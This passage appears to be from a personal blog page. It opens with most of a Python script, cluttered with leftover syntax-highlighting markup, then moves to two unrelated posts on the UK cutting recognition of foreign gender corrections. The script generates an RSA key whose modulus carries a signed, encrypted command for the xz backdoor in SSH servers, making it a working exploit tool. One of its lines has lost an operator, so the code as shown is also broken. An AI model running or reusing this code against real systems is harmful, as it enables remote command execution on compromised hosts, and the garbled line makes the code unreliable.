22	`<span class="pgcsskn">from</span> <span class="pgcssnn">cryptography.hazmat.primitives.serialization</span> <span class="pgcsskn">import</span> <span class="pgcssn">PrivateFormat</span><span class="pgcssp">,</span> <span class="pgcssn">PublicFormat</span>`
23	`<span class="pgcsskn">from</span> <span class="pgcssnn">cryptography.hazmat.primitives.serialization</span> <span class="pgcsskn">import</span> <span class="pgcssn">Encoding</span><span class="pgcssp">,</span> <span class="pgcssn">NoEncryption</span>`
24	`<span class="pgcssc1"># End imports</span>`
25
26	`<span class="pgcssn">COMMAND</span> <span class="pgcsso">=</span> <span class="pgcssmi">2</span>`
27	`<span class="pgcssn">RSA_BITS</span><span class="pgcssp">,</span> <span class="pgcssn">RSA_E</span> <span class="pgcsso">=</span> <span class="pgcssmi">2048</span><span class="pgcssp">,</span> <span class="pgcssn">mpz</span><span class="pgcssp">(</span><span class="pgcssmi">65537</span><span class="pgcssp">)</span>`
28
29	<span class="pgcssc1"># splice data into a bytes-like value, returning a new `bytes` value</span>
30	`<span class="pgcssk">def</span> <span class="pgcssnf">replace_at</span><span class="pgcssp">(</span><span class="pgcssn">orig</span><span class="pgcssp">,</span> <span class="pgcssn">replace</span><span class="pgcssp">,</span> <span class="pgcssn">offset</span><span class="pgcssp">):</span>`
31	<span class="pgcssk">return</span> <span class="pgcssnb">bytes</span><span class="pgcssp">(</span><span class="pgcssn">orig</span><span class="pgcssp">[</span><span class="pgcssmi">0</span><span class="pgcssp">:</span><span class="pgcssn">offset</span><span class="pgcssp">]</span> <span class="pgcsso">+</span> <span class="pgcssn">replace</span> <span class="pgcsso">+</span> <span class="pgcssn">orig</span><span class="pgcssp">[</span><span class="pgcssn">offset</span><span class="pgcsso">+</span><span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">replace</span><span class="pgcssp">):])</span>
32
33	<span class="pgcssc1"># integer to two's complement big endian value encoded as a `bytearray`</span>
34	`<span class="pgcssk">def</span> <span class="pgcssnf">int_to_bytearray</span><span class="pgcssp">(</span><span class="pgcssn">i</span><span class="pgcssp">):</span>`
35	`<span class="pgcssn">i</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">i</span><span class="pgcssp">)</span>`
36	<span class="pgcssn">i_bytes</span> <span class="pgcsso">=</span> <span class="pgcssn">i</span><span class="pgcsso">.</span><span class="pgcssn">to_bytes</span><span class="pgcssp">((</span><span class="pgcssn">i</span><span class="pgcsso">.</span><span class="pgcssn">bit_length</span><span class="pgcssp">()</span> <span class="pgcsso">+</span> <span class="pgcssmi">7</span><span class="pgcssp">)</span> <span class="pgcsso">//</span> <span class="pgcssmi">8</span><span class="pgcssp">,</span> <span class="pgcssn">byteorder</span><span class="pgcsso">=</span><span class="pgcsss1">'big'</span><span class="pgcssp">)</span>
37	`<span class="pgcssc1"># a leading zero byte is needed if first bit is 1</span>`
38	<span class="pgcssk">if</span> <span class="pgcssn">i_bytes</span><span class="pgcssp">[</span><span class="pgcssmi">0</span><span class="pgcssp">]</span> <span class="pgcsso">>=</span> <span class="pgcssmh">0x80</span><span class="pgcssp">:</span> <span class="pgcssn">i_bytes</span> <span class="pgcsso">=</span> <span class="pgcsssa">b</span><span class="pgcsss1">'</span><span class="pgcssse">\0</span><span class="pgcsss1">'</span> <span class="pgcsso">+</span> <span class="pgcssn">i_bytes</span>
39
40	`<span class="pgcssk">return</span> <span class="pgcssnb">bytearray</span><span class="pgcssp">(</span><span class="pgcssn">i_bytes</span><span class="pgcssp">)</span>`
41
42	`<span class="pgcssc1"># newer versions of gmpy2 have this natively :-/</span>`
43	`<span class="pgcssk">def</span> <span class="pgcssnf">mpz_from_bytes</span><span class="pgcssp">(</span><span class="pgcssn">b</span><span class="pgcssp">,</span> <span class="pgcssn">byteorder</span><span class="pgcsso">=</span><span class="pgcsss1">'big'</span><span class="pgcssp">,</span> <span class="pgcsso">*</span><span class="pgcssp">,</span> <span class="pgcssn">signed</span><span class="pgcsso">=</span><span class="pgcsskc">False</span><span class="pgcssp">):</span>`
44	`<span class="pgcssk">return</span> <span class="pgcssn">mpz</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcsso">.</span><span class="pgcssn">from_bytes</span><span class="pgcssp">(</span><span class="pgcssn">b</span><span class="pgcssp">,</span> <span class="pgcssn">byteorder</span><span class="pgcssp">,</span> <span class="pgcssn">signed</span><span class="pgcsso">=</span><span class="pgcssn">signed</span><span class="pgcssp">))</span>`
45
46	`<span class="pgcssc1"># random prime, n bytes long</span>`
47	`<span class="pgcssk">def</span> <span class="pgcssnf">random_prime</span><span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">):</span>`
48	`<span class="pgcssn">rand_bytes</span> <span class="pgcsso">=</span> <span class="pgcssn">urandom</span><span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">)</span>`
49	`<span class="pgcssn">rand_start</span> <span class="pgcsso">=</span> <span class="pgcssn">mpz_from_bytes</span><span class="pgcssp">(</span><span class="pgcssn">rand_bytes</span><span class="pgcssp">)</span>`
50	`<span class="pgcssk">return</span> <span class="pgcssn">next_prime</span><span class="pgcssp">(</span><span class="pgcssn">rand_start</span><span class="pgcssp">)</span> <span class="pgcssc1"># next probable prime</span>`
51
52	`<span class="pgcssc1"># construct rsa private key given (n, e, d, p, q)</span>`
53	`<span class="pgcssk">def</span> <span class="pgcssnf">rsa_construct</span><span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">,</span> <span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">d</span><span class="pgcssp">,</span> <span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">q</span><span class="pgcssp">):</span>`
54	`<span class="pgcssc1"># p should be greater than q</span>`
55	`<span class="pgcssk">if</span> <span class="pgcssn">q</span> <span class="pgcsso">></span> <span class="pgcssn">p</span><span class="pgcssp">:</span> <span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">q</span> <span class="pgcsso">=</span> <span class="pgcssn">q</span><span class="pgcssp">,</span> <span class="pgcssn">p</span>`
56
57	`<span class="pgcssc1"># compute chinese remainder theorem values</span>`
58	<span class="pgcssn">dmp1</span><span class="pgcssp">,</span> <span class="pgcssn">dmq1</span> <span class="pgcsso">=</span> <span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssk">lambda</span> <span class="pgcssn">x</span><span class="pgcssp">:</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">d</span> <span class="pgcsso">%</span> <span class="pgcssp">(</span><span class="pgcssn">x</span> <span class="pgcsso">-</span> <span class="pgcssmi">1</span><span class="pgcssp">)),</span> <span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">q</span><span class="pgcssp">))</span>
59	`<span class="pgcssn">iqmp</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">invert</span><span class="pgcssp">(</span><span class="pgcssn">q</span><span class="pgcssp">,</span> <span class="pgcssn">p</span><span class="pgcssp">))</span>`
60
61	`<span class="pgcssc1"># build the key from parameters</span>`
62	<span class="pgcssn">n</span><span class="pgcssp">,</span> <span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">d</span><span class="pgcssp">,</span> <span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">q</span> <span class="pgcsso">=</span> <span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcssp">,</span> <span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">,</span> <span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">d</span><span class="pgcssp">,</span> <span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">q</span><span class="pgcssp">))</span>
63	`<span class="pgcssn">pub_params</span> <span class="pgcsso">=</span> <span class="pgcssn">RSAPublicNumbers</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">n</span><span class="pgcssp">)</span>`
64	<span class="pgcssn">prv_params</span> <span class="pgcsso">=</span> <span class="pgcssn">RSAPrivateNumbers</span><span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">q</span><span class="pgcssp">,</span> <span class="pgcssn">d</span><span class="pgcssp">,</span> <span class="pgcssn">dmp1</span><span class="pgcssp">,</span> <span class="pgcssn">dmq1</span><span class="pgcssp">,</span> <span class="pgcssn">iqmp</span><span class="pgcssp">,</span> <span class="pgcssn">pub_params</span><span class="pgcssp">)</span>
65	`<span class="pgcssk">return</span> <span class="pgcssn">prv_params</span><span class="pgcsso">.</span><span class="pgcssn">private_key</span><span class="pgcssp">()</span>`
66
67	`<span class="pgcssc1"># pem format unencrypted private key</span>`
68	`<span class="pgcssk">def</span> <span class="pgcssnf">pem_private</span><span class="pgcssp">(</span><span class="pgcssn">k</span><span class="pgcssp">):</span>`
69	`<span class="pgcssk">return</span> <span class="pgcssn">k</span><span class="pgcsso">.</span><span class="pgcssn">private_bytes</span><span class="pgcssp">(</span>`
70	`<span class="pgcssn">Encoding</span><span class="pgcsso">.</span><span class="pgcssn">PEM</span><span class="pgcssp">,</span> <span class="pgcssn">PrivateFormat</span><span class="pgcsso">.</span><span class="pgcssn">TraditionalOpenSSL</span><span class="pgcssp">,</span> <span class="pgcssn">NoEncryption</span><span class="pgcssp">()</span>`
71	`<span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">decode</span><span class="pgcssp">()</span><span class="pgcsso">.</span><span class="pgcssn">strip</span><span class="pgcssp">()</span>`
72
73	`<span class="pgcssc1"># generate key in the same way https://github.com/amlweems/xzbot does</span>`
74	`<span class="pgcssk">def</span> <span class="pgcssnf">ed448_from_n</span><span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">):</span>`
75	`<span class="pgcssn">seed</span> <span class="pgcsso">=</span> <span class="pgcssn">n</span><span class="pgcsso">.</span><span class="pgcssn">to_bytes</span><span class="pgcssp">(</span><span class="pgcssmi">57</span><span class="pgcssp">,</span> <span class="pgcssn">byteorder</span><span class="pgcsso">=</span><span class="pgcsss1">'big'</span><span class="pgcssp">)</span>`
76	`<span class="pgcssk">return</span> <span class="pgcssn">Ed448PrivateKey</span><span class="pgcsso">.</span><span class="pgcssn">from_private_bytes</span><span class="pgcssp">(</span><span class="pgcssn">seed</span><span class="pgcssp">)</span>`
77
78	`<span class="pgcssc1"># encrypt/decrypt with raw ChaCha20</span>`
79	`<span class="pgcssk">def</span> <span class="pgcssnf">chacha20</span><span class="pgcssp">(</span><span class="pgcssn">data</span><span class="pgcssp">,</span> <span class="pgcssn">key</span><span class="pgcssp">,</span> <span class="pgcssn">nonce</span><span class="pgcssp">):</span>`
80	`<span class="pgcssn">cipher</span> <span class="pgcsso">=</span> <span class="pgcssn">Cipher</span><span class="pgcssp">(</span><span class="pgcssn">ChaCha20</span><span class="pgcssp">(</span><span class="pgcssn">key</span><span class="pgcssp">,</span> <span class="pgcssn">nonce</span><span class="pgcssp">),</span> <span class="pgcssn">mode</span><span class="pgcsso">=</span><span class="pgcsskc">None</span><span class="pgcssp">)</span>`
81	`<span class="pgcssn">cryptor</span> <span class="pgcsso">=</span> <span class="pgcssn">cipher</span><span class="pgcsso">.</span><span class="pgcssn">encryptor</span><span class="pgcssp">()</span>`
82	`<span class="pgcssk">return</span> <span class="pgcssn">cryptor</span><span class="pgcsso">.</span><span class="pgcssn">update</span><span class="pgcssp">(</span><span class="pgcssn">data</span><span class="pgcssp">)</span>`
83
84	`<span class="pgcssc1"># process server private key</span>`
85	`<span class="pgcssn">srv_pub_type</span> <span class="pgcsso">=</span> <span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">]</span><span class="pgcsso">.</span><span class="pgcssn">encode</span><span class="pgcssp">()</span>`
86	`<span class="pgcssn">srv_pub_type</span> <span class="pgcsso">=</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">srv_pub_type</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">to_bytes</span><span class="pgcssp">(</span><span class="pgcssmi">4</span><span class="pgcssp">,</span> <span class="pgcsss1">'big'</span><span class="pgcssp">)</span> <span class="pgcsso">+</span> <span class="pgcssn">srv_pub_type</span>`
87	`<span class="pgcssn">srv_pub_body</span> <span class="pgcsso">=</span> <span class="pgcssn">b64d</span><span class="pgcssp">(</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">])</span>`
88	`<span class="pgcssn">srv_pub_hash</span> <span class="pgcsso">=</span> <span class="pgcssn">sha256</span><span class="pgcssp">(</span><span class="pgcssn">srv_pub_type</span> <span class="pgcsso">+</span> <span class="pgcssn">srv_pub_body</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">digest</span><span class="pgcssp">()</span>`
89
90	`<span class="pgcssc1"># generate backdoor key</span>`
91	`<span class="pgcssn">prv_key</span> <span class="pgcsso">=</span> <span class="pgcssn">ed448_from_n</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">3</span><span class="pgcssp">]))</span>`
92	<span class="pgcssn">pub_key</span> <span class="pgcsso">=</span> <span class="pgcssn">prv_key</span><span class="pgcsso">.</span><span class="pgcssn">public_key</span><span class="pgcssp">()</span><span class="pgcsso">.</span><span class="pgcssn">public_bytes</span><span class="pgcssp">(</span><span class="pgcssn">Encoding</span><span class="pgcsso">.</span><span class="pgcssn">Raw</span><span class="pgcssp">,</span> <span class="pgcssn">PublicFormat</span><span class="pgcsso">.</span><span class="pgcssn">Raw</span><span class="pgcssp">)</span>
93	`<span class="pgcssn">sym_key</span> <span class="pgcsso">=</span> <span class="pgcssn">pub_key</span><span class="pgcssp">[</span><span class="pgcssmi">0</span><span class="pgcssp">:</span><span class="pgcssmi">32</span><span class="pgcssp">]</span>`
94
95	`<span class="pgcssc1"># command is null terminated</span>`
96	`<span class="pgcssn">command</span> <span class="pgcsso">=</span> <span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">4</span><span class="pgcssp">]</span><span class="pgcsso">.</span><span class="pgcssn">encode</span><span class="pgcssp">()</span> <span class="pgcsso">+</span> <span class="pgcsssa">b</span><span class="pgcsss1">'</span><span class="pgcssse">\0</span><span class="pgcsss1">'</span>`
97	`<span class="pgcssk">if</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">command</span><span class="pgcssp">)</span> <span class="pgcsso">></span> <span class="pgcssmi">64</span><span class="pgcssp">:</span>`
98	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">'command too long, should not exceed 64 characters'</span><span class="pgcssp">,</span> <span class="pgcssn">file</span><span class="pgcsso">=</span><span class="pgcssn">stderr</span><span class="pgcssp">)</span>`
99	`<span class="pgcssn">exit</span><span class="pgcssp">(</span><span class="pgcssmi">1</span><span class="pgcssp">)</span>`
100
101	`<span class="pgcssc1"># command needs to be at least five bytes for signing, pad as required</span>`
102	`<span class="pgcssk">while</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">command</span><span class="pgcssp">)</span> <span class="pgcsso"><</span> <span class="pgcssmi">5</span><span class="pgcssp">:</span> <span class="pgcssn">command</span> <span class="pgcsso">+=</span> <span class="pgcsssa">b</span><span class="pgcsss1">'</span><span class="pgcssse">\0</span><span class="pgcsss1">'</span>`
103
104	`<span class="pgcssc1"># the first few bytes of an rsa modulus probably aren't uniformly distributed,</span>`
105	`<span class="pgcssc1"># so start off with an N value from a normally generated key</span>`
106	`<span class="pgcssn">rsa</span> <span class="pgcsso">=</span> <span class="pgcssn">rsa_generate</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">RSA_E</span><span class="pgcssp">),</span> <span class="pgcssn">RSA_BITS</span><span class="pgcssp">)</span>`
107	`<span class="pgcssn">n</span> <span class="pgcsso">=</span> <span class="pgcssn">rsa</span><span class="pgcsso">.</span><span class="pgcssn">private_numbers</span><span class="pgcssp">()</span><span class="pgcsso">.</span><span class="pgcssn">public_numbers</span><span class="pgcsso">.</span><span class="pgcssn">n</span>`
108	`<span class="pgcssn">n_bytes</span> <span class="pgcsso">=</span> <span class="pgcssn">int_to_bytearray</span><span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">)</span>`
109
110	`<span class="pgcssc1"># xz backdoor precheck fields</span>`
111	`<span class="pgcssn">cmd1</span><span class="pgcssp">,</span> <span class="pgcssn">cmd2</span> <span class="pgcsso">=</span> <span class="pgcssn">unpack_from</span><span class="pgcssp">(</span><span class="pgcsss1">'<LL'</span><span class="pgcssp">,</span> <span class="pgcssn">n_bytes</span><span class="pgcssp">,</span> <span class="pgcssmi">0</span><span class="pgcssp">)</span>`
112	<span class="pgcssn">cmd3</span> <span class="pgcsso">=</span> <span class="pgcssp">((</span><span class="pgcssmi">2</span><span class="pgcsso">*</span><span class="pgcssmi">64</span> <span class="pgcsso">+</span> <span class="pgcssn">COMMAND</span><span class="pgcssp">)</span> <span class="pgcsso">-</span> <span class="pgcssn">cmd1</span> <span class="pgcsso"></span> <span class="pgcssn">cmd2</span><span class="pgcssp">)</span> <span class="pgcsso">%</span> <span class="pgcssmi">2</span><span class="pgcsso">**</span><span class="pgcssmi">64</span>
113	`<span class="pgcssn">pack_into</span><span class="pgcssp">(</span><span class="pgcsss1">'<Q'</span><span class="pgcssp">,</span> <span class="pgcssn">n_bytes</span><span class="pgcssp">,</span> <span class="pgcssmi">8</span><span class="pgcssp">,</span> <span class="pgcssn">cmd3</span><span class="pgcssp">)</span>`
114
115	`<span class="pgcssc1"># build payload</span>`
116	`<span class="pgcssn">hdr_magic</span> <span class="pgcsso">=</span> <span class="pgcsssa">b</span><span class="pgcsss1">'</span><span class="pgcssse">\2\0\0\0</span><span class="pgcsss1">'</span>`
117	`<span class="pgcssn">hdr_flags</span> <span class="pgcsso">=</span> <span class="pgcsssa">b</span><span class="pgcsss1">'</span><span class="pgcssse">\0\0\0\0</span><span class="pgcsss1">'</span>`
118	`<span class="pgcssn">hdr_ukwn1</span> <span class="pgcsso">=</span> <span class="pgcsssa">b</span><span class="pgcsss1">'</span><span class="pgcssse">\0</span><span class="pgcsss1">'</span>`
119	`<span class="pgcssn">hdr_cslen</span> <span class="pgcsso">=</span> <span class="pgcssnb">bytes</span><span class="pgcssp">([</span><span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">command</span><span class="pgcssp">)])</span>`
120	`<span class="pgcssn">hdr_ukwn2</span> <span class="pgcsso">=</span> <span class="pgcsssa">b</span><span class="pgcsss1">'</span><span class="pgcssse">\0</span><span class="pgcsss1">'</span>`
121	`<span class="pgcssn">header</span> <span class="pgcsso">=</span> <span class="pgcssn">hdr_magic</span> <span class="pgcsso">+</span> <span class="pgcssn">hdr_flags</span> <span class="pgcsso">+</span> <span class="pgcssn">hdr_ukwn1</span> <span class="pgcsso">+</span> <span class="pgcssn">hdr_cslen</span> <span class="pgcsso">+</span> <span class="pgcssn">hdr_ukwn2</span>`
122	`<span class="pgcssn">to_sign</span> <span class="pgcsso">=</span> <span class="pgcssnb">bytes</span><span class="pgcssp">(</span><span class="pgcssn">header</span> <span class="pgcsso">+</span> <span class="pgcssn">command</span> <span class="pgcsso">+</span> <span class="pgcssn">srv_pub_hash</span><span class="pgcssp">)</span>`
123	`<span class="pgcssn">signature</span> <span class="pgcsso">=</span> <span class="pgcssn">prv_key</span><span class="pgcsso">.</span><span class="pgcssn">sign</span><span class="pgcssp">(</span><span class="pgcssn">to_sign</span><span class="pgcssp">)</span>`
124	`<span class="pgcssn">plaintext</span> <span class="pgcsso">=</span> <span class="pgcssn">signature</span> <span class="pgcsso">+</span> <span class="pgcssn">command</span>`
125	`<span class="pgcssn">ciphertext</span> <span class="pgcsso">=</span> <span class="pgcssn">chacha20</span><span class="pgcssp">(</span><span class="pgcssn">plaintext</span><span class="pgcssp">,</span> <span class="pgcssn">sym_key</span><span class="pgcssp">,</span> <span class="pgcssn">n_bytes</span><span class="pgcssp">[:</span><span class="pgcssmi">16</span><span class="pgcssp">])</span>`
126
127	`<span class="pgcssc1"># splice the payload into the modulus</span>`
128	`<span class="pgcssn">n_bytes</span> <span class="pgcsso">=</span> <span class="pgcssn">replace_at</span><span class="pgcssp">(</span><span class="pgcssn">n_bytes</span><span class="pgcssp">,</span> <span class="pgcssn">ciphertext</span><span class="pgcssp">,</span> <span class="pgcssmi">16</span><span class="pgcssp">)</span>`
129	`<span class="pgcssn">n</span> <span class="pgcsso">=</span> <span class="pgcssn">mpz_from_bytes</span><span class="pgcssp">(</span><span class="pgcssn">n_bytes</span><span class="pgcssp">)</span>`
130
131	<span class="pgcssc1"># We'll choose a new prime `p` randomly, then divide the modulus to get a new</span>
132	<span class="pgcssc1"># `q`. With this process the lowest bits of the modulus corrosponding to the</span>
133	<span class="pgcssc1"># size (plus a few) of `p` get scrambled while the upper bits of the modulus</span>
134	<span class="pgcssc1"># remain fixed. The size of `p` is chosen here such that our payload is kept.</span>
135	<span class="pgcssc1"># NOTE: The security level of the key scales down with the size of `p`.</span>
136	<span class="pgcssn">p_bytes</span> <span class="pgcsso">=</span> <span class="pgcssnb">min</span><span class="pgcssp">((</span><span class="pgcssn">RSA_BITS</span> <span class="pgcsso">//</span> <span class="pgcssmi">8</span> <span class="pgcsso">-</span> <span class="pgcssmi">17</span><span class="pgcssp">)</span> <span class="pgcsso">-</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">ciphertext</span><span class="pgcssp">),</span> <span class="pgcssn">RSA_BITS</span> <span class="pgcsso">//</span> <span class="pgcssmi">16</span><span class="pgcssp">)</span>
137
138	`<span class="pgcssc1"># generate p, q to produce the evil modulus</span>`
139	`<span class="pgcssn">tries</span> <span class="pgcsso">=</span> <span class="pgcssmi">0</span>`
140	`<span class="pgcssk">while</span> <span class="pgcsskc">True</span><span class="pgcssp">:</span>`
141	`<span class="pgcssn">p</span> <span class="pgcsso">=</span> <span class="pgcssn">random_prime</span><span class="pgcssp">(</span><span class="pgcssn">p_bytes</span><span class="pgcssp">)</span>`
142	`<span class="pgcssn">q</span> <span class="pgcsso">=</span> <span class="pgcssn">next_prime</span><span class="pgcssp">(</span><span class="pgcssn">c_div</span><span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">,</span> <span class="pgcssn">p</span><span class="pgcssp">))</span>`
143	`<span class="pgcssn">n_payload</span> <span class="pgcsso">=</span> <span class="pgcssn">p</span> <span class="pgcsso">*</span> <span class="pgcssn">q</span>`
144	`<span class="pgcssn">n_payload_bytes</span> <span class="pgcsso">=</span> <span class="pgcssn">int_to_bytearray</span><span class="pgcssp">(</span><span class="pgcssn">n_payload</span><span class="pgcssp">)</span>`
145
146	`<span class="pgcssn">good</span> <span class="pgcsso">=</span> <span class="pgcssmi">0</span>`
147	`<span class="pgcssk">for</span> <span class="pgcssn">i</span> <span class="pgcssow">in</span> <span class="pgcssnb">range</span><span class="pgcssp">(</span><span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">ciphertext</span><span class="pgcssp">)):</span>`
148	`<span class="pgcssk">if</span> <span class="pgcssn">n_payload_bytes</span><span class="pgcssp">[</span><span class="pgcssmi">16</span><span class="pgcsso">+</span><span class="pgcssn">i</span><span class="pgcssp">]</span> <span class="pgcsso">==</span> <span class="pgcssn">ciphertext</span><span class="pgcssp">[</span><span class="pgcssn">i</span><span class="pgcssp">]:</span> <span class="pgcssn">good</span> <span class="pgcsso">+=</span> <span class="pgcssmi">1</span>`
149	`<span class="pgcssk">else</span><span class="pgcssp">:</span> <span class="pgcssk">break</span>`
150
151	`<span class="pgcssk">if</span> <span class="pgcssn">good</span> <span class="pgcsso">==</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">ciphertext</span><span class="pgcssp">):</span>`
152	`<span class="pgcssc1"># parameter validation</span>`
153	`<span class="pgcssn">totient</span> <span class="pgcsso">=</span> <span class="pgcssn">lcm</span><span class="pgcssp">(</span><span class="pgcssn">p</span> <span class="pgcsso">-</span> <span class="pgcssmi">1</span><span class="pgcssp">,</span> <span class="pgcssn">q</span> <span class="pgcsso">-</span> <span class="pgcssmi">1</span><span class="pgcssp">)</span>`
154	`<span class="pgcssk">if</span> <span class="pgcssn">gcd</span><span class="pgcssp">(</span><span class="pgcssn">totient</span><span class="pgcssp">,</span> <span class="pgcssn">RSA_E</span><span class="pgcssp">)</span> <span class="pgcsso">==</span> <span class="pgcssmi">1</span><span class="pgcssp">:</span>`
155	`<span class="pgcssc1"># compute private exponent</span>`
156	`<span class="pgcssn">d</span> <span class="pgcsso">=</span> <span class="pgcssn">invert</span><span class="pgcssp">(</span><span class="pgcssn">RSA_E</span><span class="pgcssp">,</span> <span class="pgcssn">totient</span><span class="pgcssp">)</span>`
157
158	`<span class="pgcssn">rsa</span> <span class="pgcsso">=</span> <span class="pgcssn">rsa_construct</span><span class="pgcssp">(</span><span class="pgcssn">n_payload</span><span class="pgcssp">,</span> <span class="pgcssn">RSA_E</span><span class="pgcssp">,</span> <span class="pgcssn">d</span><span class="pgcssp">,</span> <span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">q</span><span class="pgcssp">)</span>`
159	`<span class="pgcssk">break</span>`
160
161	`<span class="pgcssk">if</span> <span class="pgcssn">tries</span> <span class="pgcsso">:=</span> <span class="pgcssn">tries</span> <span class="pgcsso">+</span> <span class="pgcssmi">1</span> <span class="pgcsso">></span> <span class="pgcssmi">100</span><span class="pgcssp">:</span>`
162	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">'failed to generate key'</span><span class="pgcssp">,</span> <span class="pgcssn">file</span><span class="pgcsso">=</span><span class="pgcssn">stderr</span><span class="pgcssp">)</span>`
163	`<span class="pgcssn">exit</span><span class="pgcssp">(</span><span class="pgcssmi">1</span><span class="pgcssp">)</span>`
164
165	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcssn">pem_private</span><span class="pgcssp">(</span><span class="pgcssn">rsa</span><span class="pgcssp">))</span>`

I describe a similar technique in detail in my Stupid Certificate Tricks post, and also have an SSH Vanity Key Generator available to play with.

UK Slashes Recognition of Foreign Gender Corrections

2024-03-19T21:18:00+00:00

Seemingly in response to some combination of Scotland’s now quashed Gender Recognition Reform and my lawsuit, on the UK’s openly transphobic “Minister for Women and Equalities”, Kemi Badenoch, announced on 9^th January 2023 that the list of the foreign countries and territories for which documentation is accepted under the Gender Recognition Act 2004 (GRA) would be updated.

The GRA’s foreign recognition provision offers a streamlined process to those who have approved documentation correcting their gender. It sees very little use, only a handful of people every year. There is no evidence that this process has ever been abused.

Under the “standard” path for gender recognition in the UK, transgender individuals must provide extensive evidence that requires a lot of time and money to obtain. The requirements are so burdensome that less than 5% of transgender individuals in the UK have been able to obtain a Gender Recognition Certificate (GRC).

Kemi made her plan clear — anywhere offering “self-id” was going to be purged from the approved list. A statutory instrument to do that was introduced 6^th December 2023. It was approved yesterday, 18^th March 2024. The changes are extensive — twenty-five US states (plus Washington, DC), four Australian territories, and twenty-five entire countries have been cut.

Note: as of :ord:`21` March 2024 the SI has not yet been signed into law, but my understanding is that Kemi is likely to do that any day.

List of Countries and Territories Removed: (click/tap to expand)

United States
- California
- Colorado
- District of Columbia
- Florida
- Hawaii
- Illinois
- Maine
- Michigan
- Minnesota
- Mississippi
- Montana
- Nevada
- New Jersey
- New Mexico
- New York
- Oklahoma
- Oregon
- Rhode Island
- South Carolina
- South Dakota
- Utah
- Vermont
- Virginia
- Washington
- West Virginia
- Wyoming
Australia
- Northern Territory
- South Australia
- Tasmania
- Victoria
Austria
Belgium
Bulgaria
Canada
Denmark
Finland
France
Greece
Iceland
Liechtenstein
Luxembourg
Malta
Mexico
Moldova
The Netherlands
New Zealand
Norway
Poland
Russia
Serbia
Singapore
Slovenia
Spain
Switzerland
Uruguay

The explanitory memorandum includes a point seemingly aimed at me: “nonbinary people [can] only apply for a binary identity on their UK GRC.”

This statutory instrument had no rational basis. There is no evidence that self-id gender recognition systems are abused in any way. The sole intent was to harm transgender and nonbinary people.

Trans people living in the UK who have recognition from an affected country or territory can still apply under the old list, but they have very limited time to do so.

I made what noise I could about this, but I am currently stretched thin. I’m nonbinary, and three years ago decided to seek legal recognition of my gender via the courts. When I applied for a GRC using my California birth certificate listing me as “Nonbinary”, it was actually granted. That was farther than I expected to get, but unfortunately they refused to put “nonbinary” on a GRC for me, as the law appears to require.

The legal proceedings are ongoing. I’m raising funds via CrowdJustice to offset the costs of the case. Donations go directly to my lawyers.

Aside from donations, I need to get my story out. Please tell others about what’s happening here.

UK to Curtail Legal Recognition of Trans Immigrants

2023-12-11T22:12:00+00:00

The UK’s Gender Recognition Act (GRA) was passed in 2004 and provides for legal gender recognition for transgender individuals. The “standard” route requires obtaining medical documentation that can take months of waiting and $1,000 USD or more to obtain. On top of this, applicants must provide evidence that they have been living in their gender for at least two years — which must be from multiple points in time from that period. The requirements are so burdensome that less than 5% of transgender individuals in the UK have been able to obtain a Gender Recognition Certificate (GRC).

A streamlined process is available to transgender people who have received legal gender recognition in any country or territory on a pre-approved list. This is generally as simple as filling out an online application and sending in a sworn statement with a birth certificate or court order.

